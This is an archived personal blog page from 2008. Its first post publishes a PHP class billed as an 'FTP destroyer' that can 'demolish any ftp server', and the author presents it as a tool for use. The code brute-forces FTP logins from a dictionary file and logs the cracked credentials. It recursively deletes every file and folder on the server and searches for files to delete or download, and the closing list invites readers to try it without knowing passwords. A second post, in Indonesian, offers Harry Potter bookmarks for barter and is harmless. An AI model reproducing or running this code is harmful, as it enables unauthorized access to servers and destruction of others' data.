Archive | January 2008

php class : FTP DESTROYER

Have you heard ’bout php? sure….

Have you heard ’bout ftp extension in php? sure…

In here, I want to share you a php class that can demolish any ftp server in this world, actually it needs little modification in order that this class could work perfectly.

Just for you to know, http://phpclasses.org have rejected this class to be published. They said this class is dangerous and so on. So, will you heard ’em?

This is the class in php 5
<?
class FTP
{
private $address = "";
private $username = "";
private $password = "";
public $conn;
private $startingdir = "";
private $output = "";

public function FTP($address = "localhost", $output = "output.log")
{
$this->address = $address;
$this->output = $output;
$this->conn = ftp_connect($this->address) or die("Couldn't connect to $address");
}

function __destruct() {
ftp_close($this->conn);
}

public function login($username = "anonymous", $password = "", $force = false, $startingdir = "")
{
if($startingdir != "") $this->startingdir = "/$startingdir";
$this->username = $username;
$this->password = $password;
if($force)
{
while( !ftp_login($this->conn, $this->username, $this->password) )
;
return true;
}
else
return ftp_login($this->conn, $this->username, $this->password);
}

public function doBruteForceLogin($dictionaryfile, $startingdir = "")
{
if($startingdir != "") $this->startingdir = "/$startingdir";
$handle = fopen($dictionaryfile, "r");
while ($userinfo = fscanf($handle, "%s\t%s\n")) {
list ($username, $password) = $userinfo;
if(ftp_login($this->conn, $username, $password))
{
$this->username = $username;
$this->password = $password;

$log = fopen($this->output, ‘a’);
fwrite($log, “$username:$password@$this->address\n”);

fclose($log);

break;
return true;
}
}
fclose($handle);
return false;
}
public function download($filename, $mode = FTP_BINARY, $resume = 0)
{
$handle = null;
$i = 0;
$localfilename = $filename;
$file = explode(".", $localfilename);
$temp = $file[count($file)-2];
while(file_exists($localfilename))
{
$file[count($file)-2] = $temp . "_$i";
$localfilename = implode(".", $file);
$i++;
}
$handle = fopen($localfilename, 'w');
$return = ftp_fget($this->conn, $handle, $filename, $mode, $resume);
fclose($handle);
return $return;
}

public function upload($filename, $mode = FTP_BINARY)
{
$handle = fopen($filename, 'r');
$return = ftp_fput($this->conn, $filename, $handle, $mode);
fclose($handle);
return $return;
}

private function demolishDir($dirname, $verbose = true, $filename = "")
{
$contents = ftp_nlist($this->conn, $dirname);
$username = $this->username;
$password = $this->password;
$address = $this->address;
$toReturn = false;
foreach($contents as $value)
{
$cleanCurrentFilename = substr($value, stripos($value, '/') + 1);
$exactFilename = substr($value, strripos($value, '/') + 1);
if(is_file("ftp://$username:$password@$address/".$cleanCurrentFilename))
{
if($filename == "" || strtolower($filename) == strtolower($exactFilename))
{
if (ftp_delete($this->conn, substr($value,2))) {
if($verbose) echo "$cleanCurrentFilename deleted successfully<br>";
$toReturn = true;
} else {
if($verbose) echo "Could not delete $cleanCurrentFilename<br>";
}
}
}
else if(is_dir("ftp://$username:$password@$address/".$cleanCurrentFilename))
{
$toReturn = $this->demolishDir($value, $verbose, $filename);
if($filename == "")
{
if (ftp_rmdir($this->conn, substr($value,2))) {
if($verbose) echo "$cleanCurrentFilename deleted successfully<br>";
} else {
if($verbose) echo "Could not delete $cleanCurrentFilename<br>";
}
}
}
}
return $toReturn;
}

public function demolish($verbose = true)
{
$contents = ftp_nlist($this->conn, "." . $this->startingdir);
$username = $this->username;
$password = $this->password;
$address = $this->address;
$return = false;
foreach($contents as $value)
{
$cleanCurrentFilename = substr($value, stripos($value, '/') + 1);
if(is_file("ftp://$username:$password@$address/".substr($value,2)))
{
if (ftp_delete($this->conn, substr($value,2))) {
$return = true;
if($verbose) echo "$cleanCurrentFilename deleted successfully<br>";
} else {
$return = false;
if($verbose) echo "Could not delete $cleanCurrentFilename<br>";
}
}
else if(is_dir("ftp://$username:$password@$address/".substr($value,2)))
{
$this->demolishDir($value, $verbose);
if (ftp_rmdir($this->conn, substr($value,2))) {
$return = true;
if($verbose) echo "$cleanCurrentFilename deleted successfully<br>";
} else {
$return = false;
if($verbose) echo "Could not delete $cleanCurrentFilename<br>";
}
}
if(!$return) break;
}
return $return;
}

public function searchDestroy($filename, $verbose = true)
{
$contents = ftp_nlist($this->conn, "." . $this->startingdir);
$username = $this->username;
$password = $this->password;
$address = $this->address;
$toReturn = false;
echo "<br>";
foreach($contents as $value)
{
$cleanCurrentFilename = substr($value, stripos($value, '/') + 1);
$exactFilename = substr($value, strripos($value, '/') + 1);

if(is_file(“ftp://$username:$password@$address/”.substr($value,2)))
{
if(strtolower($filename) == strtolower($exactFilename))
{
if (ftp_delete($this->conn, substr($value,2))) {
if($verbose) echo “$cleanCurrentFilename deleted successfully<br>”;
$toReturn = true;
} else {
if($verbose) echo “Could not delete $cleanCurrentFilename<br>”;
}
}
}
else if(is_dir(“ftp://$username:$password@$address/”.substr($value,2)))
{
$this->demolishDir($value, $verbose, $filename);
}
}
return $toReturn;
}
private function searchFileInDir($filename, $dirname)
{
$contents = ftp_nlist($this->conn, $dirname);
$toReturn = array();
$username = $this->username;
$password = $this->password;
$address = $this->address;
foreach($contents as $value)
{
$dirname = substr($value, stripos($value, '/') + 1);
$cleanCurrentFilename = substr($value, strripos($value, '/') + 1);
if( is_dir("ftp://$username:$password@$address/" . $dirname) )
{
$toReturn = array_merge($toReturn, $this->searchFileInDir($filename, $value));
}
else if(strtolower($filename) == strtolower($cleanCurrentFilename))
{
$toReturn = array_merge($toReturn, array($value));
}
}
return $toReturn;
}

public function searchFile($filename)
{
$contents = ftp_nlist($this->conn, "." . $this->startingdir);
$toReturn = array();
$username = $this->username;
$password = $this->password;
$address = $this->address;
foreach($contents as $value)
{
$dirname = substr($value, stripos($value, '/') + 1);
$cleanCurrentFilename = substr($value, strripos($value, '/') + 1);
if( is_dir("ftp://$username:$password@$address/" . $dirname) )
{
$toReturn = array_merge($toReturn, $this->searchFileInDir($filename, $value));
}
else if( strtolower($filename) == strtolower($cleanCurrentFilename) )
{
$toReturn = array_merge($toReturn, array($value));
}
}

return empty($toReturn)?false:$toReturn;
}
public function searchDownload($filename)
{
$toReturn = $this->searchFile($filename);
foreach($toReturn as $value)
{
$cleanCurrentFilename = substr($value, strripos($value, '/') + 1);
$cleanCurrentFoldername = substr($value, 1, strripos($value, '/'));
ftp_chdir($this->conn, $cleanCurrentFoldername);
$toReturn = $this->download($filename);
}
return $toReturn;
}
}
?>

Do you have any idea what things can be done using this class. Here’s the list :

  • You could login legally to any ftp server, and upload-or-download-file
  • You could login legally to any ftp server, and : search-file-then-download, search-file-then-delete, demolish-evey-single-folder-and-file-in-those-ftp-server
  • And, the good thing is that you could do above things without have to know the username-password pair to login using doBruteForceLogin function. All you need to have is a file containing complete dictionary to match ’em using bruteforce technique. The format of dictionary is : put every username-password pair in <username><tab><password><newline>

Have a nice try !

Advertisements

Harry Potter Collectible Bookmark

Ah….udah lama ni nda posting.

Hampir saja kehilangan semangat untuk mengirimkan kebahagiaanku ke dalam dunia maya ini. Serasa jiwaku disedot oleh barisan Dementor yang haus akan kenangan indah (halah…)

Udah lah, ga usah dibahas. Yang penting akhirnya gw balik posting ke dalam blog ku tercinta, antonrifco’s memoir

Oiya, back to the point. Baru-baru ini – seminggu lalu – gw barusan balik ke kampung halaman tercinta di Cirebon.

Udah lama gak balik, rencananya gw mau ngasi kejutan ke bapa’ gw yang demen banget ama pelem Harry Potter – gini nih orang tua jaman sekarang, masih aja seneng sama cerita anak kecil gini 🙂

Nah, kejutan yang gw mau beliin tuh, ceritanya paket DVD Original pelem Harry Potter – yah dari nomor 1-5

Awalnya, gw pikir ah enteng, palingan murah berapa gitu. Ternyata pas sampe Gramedia, dan gw liat harganya – alamaa….kkk, mahal sekaleee…..

Setara pendapatan kerja rodi selama 2 minggu, liat aja ndiri lah harganya 😛

Walaupun harganya mahal banget, gw pikir sekali-kali ga da salahnya lah ngebeliin barang yang disukain.

Itung-itung, lain kali kalo gw ada maunya , urusannya jadi gampang gituh, hahahaa….

Pas kejadian beli, ternyata di dalemnya ada bonus langka Bookmark Collectible, kayak pembatas buku dari platina, bentuk nya unik dan keren lah

Liat aja :

HP-bookmark1   HP-bookmark2   HP-bookmark3     HP-bookmark4   HP-bookmark5

Pusakanya itu ada 5 buah, nyaitu :

Pedang (pernah muncul di Buku 1 untuk ngalahin naga itu lo),

Owl-mail service, figurin hedwig lagi gotong amplop

Badge Gryffindor

Bola kristal – Pangeran Kegelapan

Bola emas snicth

Nah lo, jangan ngaku penggemar Harry Potter kalo belom punya ni2 barang 🙂

Sebenernya, gw mah gak begitu fanatik banget ama ni Harry Potter, cuma suka nonton pelem ama baca bukunya doangs.

Makanya, gw berniat membagi-bagikan ni bookmark kepada siapa aja yang mau, hehehe….

Tapi ada syaratnya, loe-loe pada harus bisa ngasih benda barter yang sepadan dan sesuai (tidak menerima uang) sebagai penggantinya, misalnya aja ngasi koleksi apa gituh. Benda yang lo kasi itu juga harus mempunyai nilai di mata loe, jangan seenaknya ngasi benda sampah sebagai barter ya , hahahahaha….

Kalo tertarik, kontak gw aja di ym-nya (please no spam)

Regards,